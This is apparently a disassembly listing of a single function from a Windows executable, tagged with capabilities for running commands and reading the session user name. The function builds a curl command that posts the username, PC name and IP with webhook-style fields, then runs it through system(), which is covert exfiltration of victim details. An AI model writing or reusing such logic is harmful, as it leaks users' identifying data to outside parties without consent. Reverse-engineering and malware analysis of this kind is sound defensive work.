Function at 0x14022b270
Capabilities:
Execute command
Get session user name

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1c0]
sub rsp, 0x2c0
mov rax, qword [0x140237040]
xor rax, rsp
mov qword [rbp + 0x1b0], rax
mov r15, rcx
mov qword [rbp + 8], rcx
xor r13d, r13d
mov dword [rbp + 0x10], 0x101
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0xa0]
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
xorps xmm0, xmm0
movups xmmword [rbp + 0x18], xmm0
mov qword [rbp + 0x28], r13
mov qword [rbp + 0x30], r13
lea rax, [rbp + 0xa0]
mov rbx, 0xffffffffffffffff
inc rbx
cmp byte [rax + rbx], 0
jne 0x14022b2e7
movabs r14, 0x7fffffffffffffff
cmp rbx, r14
ja 0x14022badd
cmp rbx, 0xf
ja 0x14022b33e
mov qword [rbp + 0x28], rbx
mov qword [rbp + 0x30], 0xf
mov r8, rbx
lea rdx, [rbp + 0xa0]
lea rcx, [rbp + 0x18]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbp + rbx + 0x18], 0
mov rdi, qword [rbp + 0x30]
mov rbx, qword [rbp + 0x28]
mov rsi, qword [rbp + 0x18]
jmp 0x14022b3d6
mov rdi, rbx
or rdi, 0xf
cmp rdi, r14
jbe 0x14022b37a
mov rdi, r14
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.14022fae0
test rax, rax
je 0x14022ba47
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x14022b3b4
mov eax, 0x16
cmp rdi, rax
cmovb rdi, rax
lea rcx, [rdi + 1]
cmp rcx, 0x1000
jb 0x14022b3a2
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14022bad7
jmp 0x14022b35b
test rcx, rcx
je 0x14022b3b1
call fcn.14022fae0
mov rsi, rax
jmp 0x14022b3b4
mov rsi, r13
mov qword [rbp + 0x18], rsi
mov qword [rbp + 0x28], rbx
mov qword [rbp + 0x30], rdi
mov r8, rbx
lea rdx, [rbp + 0xa0]
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsi + rbx], 0
lea rdx, [rbp - 0x20]
call fcn.14022a0a0
mov rdx, rax
lea rcx, [rbp + 0x78]
call fcn.140229660
nop
lea rdx, [rbp + 0x58]
call fcn.140229af0
nop
sub r14, rbx
cmp r14, 0x34
jb 0x14022bad1
lea rax, [rbp + 0x18]
cmp rdi, 0xf
cmova rax, rsi
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0x34
lea r9, str.curl___data__usernameUsermode_content___NamePC__
lea rcx, [rbp - 0x60]
call fcn.14022f740
nop
mov rcx, qword [rbp - 0x50]
mov rdx, qword [rbp - 0x48]
mov rax, rdx
sub rax, rcx
cmp rax, 6
jb 0x14022b47e
lea rax, [rcx + 6]
mov qword [rbp - 0x50], rax
lea rbx, [rbp - 0x60]
cmp rdx, 0xf
cmova rbx, qword [rbp - 0x60]
add rbx, rcx
mov r8d, 6
lea rdx, str.__IP:
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 6], 0
lea rax, [rbp - 0x60]
jmp 0x14022b49c
mov qword [rsp + 0x20], 6
lea r9, str.__IP:
mov edx, 6
lea rcx, [rbp - 0x60]
call fcn.14022ee20
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x70], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x70], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea r9, [rbp + 0x78]
mov r12, qword [rbp + 0x78]
cmp qword [rbp + 0x90], 0xf
cmova r9, r12
mov rsi, qword [rbp - 0x70]
mov rcx, qword [rbp - 0x68]
mov rax, rcx
sub rax, rsi
mov rdi, qword [rbp + 0x88]
cmp rdi, rax
ja 0x14022b529
lea rax, [rdi + rsi]
mov qword [rbp - 0x70], rax
lea rbx, [rbp - 0x80]
cmp rcx, 0xf
cmova rbx, qword [rbp - 0x80]
lea rcx, [rbx + rsi]
mov r8, rdi
mov rdx, r9
call sub.VCRUNTIME140.dll_memmove
lea rax, [rdi + rbx]
mov byte [rax + rsi], 0
lea rax, [rbp - 0x80]
jmp 0x14022b53e
mov qword [rsp + 0x20], rdi
mov rdx, rdi
lea rcx, [rbp - 0x80]
call fcn.14022ee20
mov r12, qword [rbp + 0x78]
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x70], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x70], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rcx, qword [rsp + 0x70]
mov rdx, qword [rsp + 0x78]
mov rax, rdx
sub rax, rcx
cmp rax, 0x13
jb 0x14022b5c0
lea rax, [rcx + 0x13]
mov qword [rsp + 0x70], rax
lea rbx, [rsp + 0x60]
cmp rdx, 0xf
cmova rbx, qword [rsp + 0x60]
add rbx, rcx
mov r8d, 0x13
lea rdx, str.__:warning:_Stage:
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x13], 0
lea rax, [rsp + 0x60]
jmp 0x14022b5df
mov qword [rsp + 0x20], 0x13
lea r9, str.__:warning:_Stage:
mov edx, 0x13
lea rcx, [rsp + 0x60]
call fcn.14022ee20
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x30], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x30], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r8, r15
lea rdx, [rbp - 0x40]
lea rcx, [rbp - 0x20]
call fcn.14022e820
mov rdi, rax
mov rcx, qword [rax + 0x10]
mov rdx, qword [rax + 0x18]
mov rax, rdx
sub rax, rcx
cmp rax, 0xe
jb 0x14022b666
lea rax, [rcx + 0xe]
mov qword [rdi + 0x10], rax
mov rax, rdi
cmp rdx, 0xf
jbe 0x14022b647
mov rax, qword [rdi]
lea rbx, [rax + rcx]
mov r8d, 0xe
lea rdx, str.avatar_url_
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0xe], 0
jmp 0x14022b686
mov qword [rsp + 0x20], 0xe
lea r9, str.avatar_url_
mov edx, 0xe
mov rcx, rdi
call fcn.14022ee20
mov rdi, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
movups xmm0, xmmword [rdi]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [rsp + 0x50], xmm1
mov qword [rdi + 0x10], r13
mov qword [rdi + 0x18], 0xf
mov byte [rdi], 0
lea r9, [rbp + 0x58]
mov rsi, qword [rbp + 0x58]
mov r13, qword [rbp + 0x70]
cmp r13, 0xf
cmova r9, rsi
mov r14, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x58]
mov rax, rcx
sub rax, r14
mov rdi, qword [rbp + 0x68]
cmp rdi, rax
ja 0x14022b71b
lea rax, [rdi + r14]
mov qword [rsp + 0x50], rax
lea rbx, [rsp + 0x40]
cmp rcx, 0xf
cmova rbx, qword [rsp + 0x40]
lea rcx, [rbx + r14]
mov r8, rdi
mov rdx, r9
call sub.VCRUNTIME140.dll_memmove
lea rax, [rdi + rbx]
mov byte [rax + r14], 0
lea rax, [rsp + 0x40]
jmp 0x14022b735
mov qword [rsp + 0x20], rdi
mov rdx, rdi
lea rcx, [rsp + 0x40]
call fcn.14022ee20
mov r13, qword [rbp + 0x70]
mov rsi, qword [rbp + 0x58]
xorps xmm0, xmm0
movups xmmword [rbp + 0x38], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x48], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x38], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x48], xmm1
xor ebx, ebx
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], bl
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x14022b7a3
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14022b79e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14022b79e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14022fe2c
movdqa xmm0, xmmword [0x140232b80]
movdqu xmmword [rsp + 0x50], xmm0
mov byte [rsp + 0x40], 0
mov rdx, qword [rbp - 8]
cmp rdx, 0xf
jbe 0x14022b7f4
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14022b7ef
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14022b7ef
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14022fe2c
movdqa xmm0, xmmword [0x140232b80]
movdqu xmmword [rbp - 0x10], xmm0
mov byte [rbp - 0x20], 0
mov rdx, qword [rbp - 0x28]
cmp rdx, 0xf
jbe 0x14022b843
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14022b83e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14022b83e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14022fe2c
movdqa xmm0, xmmword [0x140232b80]
movdqu xmmword [rbp - 0x30], xmm0
mov byte [rbp - 0x40], 0
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x14022b894
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14022b88f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14022b88f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14022fe2c
movdqa xmm0, xmmword [0x140232b80]
movdqu xmmword [rsp + 0x70], xmm0
mov byte [rsp + 0x60], 0
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x14022b8e5
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14022b8e0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14022b8e0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14022fe2c
movdqa xmm0, xmmword [0x140232b80]
movdqu xmmword [rbp - 0x70], xmm0
mov byte [rbp - 0x80], 0
mov rdx, qword [rbp - 0x48]
cmp rdx, 0xf
jbe 0x14022b934
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14022b92f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14022b92f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14022fe2c
lea rcx, [rbp + 0x38]
cmp qword [rbp + 0x50], 0xf
cmova rcx, qword [rbp + 0x38]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp + 0x50]
cmp rdx, 0xf
jbe 0x14022b986
inc rdx
mov rcx, qword [rbp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14022b981
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14022b981
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14022fe2c
movdqa xmm0, xmmword [0x140232b80]
movdqu xmmword [rbp + 0x48], xmm0
mov byte [rbp + 0x38], 0
cmp r13, 0xf
jbe 0x14022b9d2
lea rdx, [r13 + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x14022b9c9
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14022b9c9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rsi
call fcn.14022fe2c
nop
mov rax, qword [rbp + 0x90]
cmp rax, 0xf
jbe 0x14022ba15
lea rdx, [rax + 1]
mov rax, r12
cmp rdx, 0x1000
jb 0x14022ba0c
add rdx, 0x27
mov r12, qword [r12 - 8]
sub rax, r12
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14022ba0c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r12
call fcn.14022fe2c
nop
mov rdx, qword [rbp + 0x30]
cmp rdx, 0xf
jbe 0x14022ba54
inc rdx
mov rcx, qword [rbp + 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14022ba4e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14022ba4e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14022fe2c
nop
mov rdx, qword [r15 + 0x18]
cmp rdx, 0xf
jbe 0x14022ba8a
inc rdx
mov rcx, qword [r15]
cmp rdx, 0x1000
jb 0x14022ba85
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14022baca
mov rcx, r8
call fcn.14022fe2c
mov qword [r15 + 0x10], rbx
mov qword [r15 + 0x18], 0xf
mov byte [r15], 0
mov rcx, qword [rbp + 0x1b0]
xor rcx, rsp
call fcn.14022fac0
lea r11, [rsp + 0x2c0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.140225590
nop
call fcn.1402254f0
int3
call fcn.140225590
int3